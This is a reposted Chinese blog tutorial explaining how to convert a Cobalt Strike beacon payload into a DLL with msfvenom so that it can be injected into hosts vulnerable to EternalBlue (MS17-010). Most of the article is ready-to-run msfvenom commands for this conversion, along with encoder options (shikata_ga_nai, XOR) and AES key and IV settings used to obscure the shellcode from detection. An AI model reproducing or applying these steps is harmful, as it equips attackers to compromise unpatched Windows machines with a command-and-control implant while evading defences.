ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

Cobalt Strike DLL用于永恒之蓝注入

2021-12-30 03:33:46  阅读:253  来源: 互联网

标签:bin x86 -- Cobalt platform Strike msfvenom dll DLL


1、原因:

  我们在对存在MS17010的漏洞主机进⾏DLL注⼊的时候,⼀般都是⽤的Meataploit的msf venom⽣成出来的,所以每次上线之 后基本都是要经过相对⽐较繁琐的操作之后转到Cobalt Strike去,这样就会显得⾮常⿇烦。所以可以使⽤metasploit的msf venom来把Cobalt Strike⽣成的bin转成DLL。

 

2、具体操作:

  先用Cobalt Strike建立一个bin文件

 

 

 

  生成文件后,打开msf,用命令将这个bin文件转化为dll文件

  转化命令:msfvenom -p generic/custom PAYLOADFILE=./payload.bin -a x64 --platform windows -f dll -o shell.dll

 

  此时,这个 shell.dll ,就能⽤于在进⾏永恒之蓝的漏洞的dll注⼊了。

 

3、转化命令的更多了解

  msfvenom命令参数⾮常多,还有就是要注意你的shellcode是x64还是x86,那么你在⽤msfvenom的时进⾏变换。 其实转化⽅法⼀共分两种:

   ①msfvenom -p generic/custom PAYLOADFILE=./shellcode.bin -a x86 --platform windows - e x86/add_sub -f dll -o shellcode-encoded.dll

   ②cat <shellcode_file> | msfvenom -b <bad_chars> -e -f -a --platform -p -

 例子:

    cat ~/Desktop/shellcode.bin|./msfvenom -b '\x00' -e x86/shikata_ga_nai --encrypt xor - -encrypt-key 0x69 --arch x86 --platform windows -f c -p -

 

  注意:

  Error: Initialization vector is missing

  解决⽅案:For AES-256 the key size must be 256 bits or 32 bytes. The IV for CFB mode - as stated earlier - must always be 16 bytes as AES is a 128 bit block cipher. AES is restricted with regards to the block size compared with the Rijndael cipher.

  msfvenom使⽤aes256加密时,--encrypt-key长度 为32,--encrypt-iv长度为16位

 

  此外我们也可以用msfvenom -h 查看参数

标签:bin,x86,--,Cobalt,platform,Strike,msfvenom,dll,DLL
来源: https://www.cnblogs.com/H4ck3rX/p/15747335.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有